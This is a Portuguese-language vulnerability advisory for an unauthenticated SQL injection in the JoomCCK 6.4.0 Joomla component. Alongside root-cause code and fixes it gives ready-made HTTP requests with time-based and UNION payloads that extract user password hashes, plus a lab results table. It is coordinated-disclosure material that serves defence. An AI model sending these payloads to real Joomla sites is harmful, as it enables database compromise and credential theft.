
CVE-2026-49048 — JoomCCK 6.4.0 Injeção SQL Não Autenticada (CVSS 9.8)
CVE: CVE-2026-49048
Status: Divulgação pública. Reportado à Equipe de Resposta de Segurança do Joomla (JSST) — Ticket #282420.
| Campo | Valor |
|---|---|
| ID do Aviso | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Produto | JoomCCK (com_joomcck) — Content Construction Kit para Joomla |
| Fornecedor | JoomCoder — https://www.joomcoder.com |
| Afetado | 6.4.0 (mais recente no momento da descoberta; versões 6.x anteriores presumivelmente afetadas) |
| Versão corrigida | Nenhuma no momento da redação |
| Tipo | Injeção SQL (CWE-89) via Autorização Ausente (CWE-862) |
| Autenticação necessária | Nenhuma — não autenticado, pré-autenticação |
| Severidade | Crítica — Pontuação Base CVSS 3.1 de 9.8 |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Descoberto por | Kamil Soltanov |
| Contato | [email protected] |
| Data da descoberta | 2026-06-22 |
O componente Joomla 4/5/6 JoomCCK expõe uma tarefa de controlador de front-end (task=tags.save) que concatena o parâmetro tag fornecido pelo usuário diretamente no SQL sem escape ou parametrização. O dispatcher MVC personalizado do componente não realiza nenhuma verificação de token CSRF e nenhuma verificação de controle de acesso, tornando a injeção alcançável por um atacante remoto completamente não autenticado.
A exploração bem-sucedida permite acesso total de leitura ao banco de dados do Joomla — incluindo os hashes de senha de #__users — via injeção SQL cega baseada em UNION e baseada em tempo, levando ao comprometimento completo do site.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
O método authorise() na mesma classe é um no-op que retorna incondicionalmente true.
O ponto de entrada components/com_joomcck/joomcck.php chama execute(input->get('task')) sem qualquer login, token ou verificação de ACL → cada método público do controller é uma tarefa não autenticada.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
O filtro de entrada STRING do Joomla remove tags HTML, mas deixa " inalterado — o mesmo caractere usado como delimitador de string SQL aqui. Sair do literal entre aspas injeta SQL arbitrário.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Esperado: resposta atrasada ≥ 5 segundos (por linha correspondida).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
O código PoC completo e a transcrição das evidências capturadas estão em poc/.
Principais resultados do laboratório:
Payload (tag=) | Resultado |
|---|---|
cars (benigno) | 1 linha retornada — normal |
zzz" OR "1"="1 | " não escapado → todas as linhas retornadas (injeção confirmada) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Hash da senha do administrador exfiltrado |
zzz" OR SLEEP(3)-- - | Resposta atrasada em 9,0 s (3 linhas × 3 s) |
O harness de laboratório utiliza o genuíno
Joomla\Input\Input::getString()e a consulta_saveTag()literal contra uma instância ativa do MariaDB 11.8.
Um atacante remoto não autenticado pode:
#__js_res_tags através do UPDATE injetáveltask=tags.delete e task=records.copy (também sem autenticação — mesma falha no dispatcher)A mesma falha no dispatcher expõe tarefas adicionais não autenticadas:
| Tarefa | Efeito |
|---|---|
tags.delete | Excluir qualquer tag sem autenticação |
records.copy | Duplicar qualquer registro sem autenticação |
ajax.category_records | Enumerar registros por categoria |
ajax.tags_list | Listar todas as tags |
ajax.users_filter | Enumerar nomes de usuário |
ajax.loadfieldparams | Divulgar configuração de campos |
Nota: muitas tarefas records.* aplicam ACL internamente via _checkAccess() e não são afetadas.
1. Parametrizar todas as consultas (query builder do Joomla):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Aplicar autorização no dispatcher — adicione Session::checkToken() e uma verificação de ACL (Factory::getApplication()->getIdentity()->authorise(...)) antes de todas as tarefas que alteram estado, espelhando as proteções já presentes em files.upload.
| Data | Evento |
|---|---|
| 2026-06-22 | Vulnerabilidade descoberta e verificada via PoC em laboratório local |
| 2026-06-22 | Aviso preparado; reportado à Joomla Security Strike Team (JSST) e à VEL |
| 2026-06-23 | JSST confirmou recebimento — David Jardin, Ticket #282420. Coordenação com o fornecedor (JoomCoder) via JSST |
| 2026-06-25 | Confirmação em ambiente real num site Joomla de produção: SLEEP(5) → resposta de 115 s; erro MySQL 1222 em UNION (não destrutivo, nenhum dado exfiltrado) |
| A definir | Correção do fornecedor |
| A definir | Atribuição de CVE |
| A definir | Divulgação pública (janela coordenada de 90 dias) |
Pesquisador de segurança independente.
Contato: [email protected]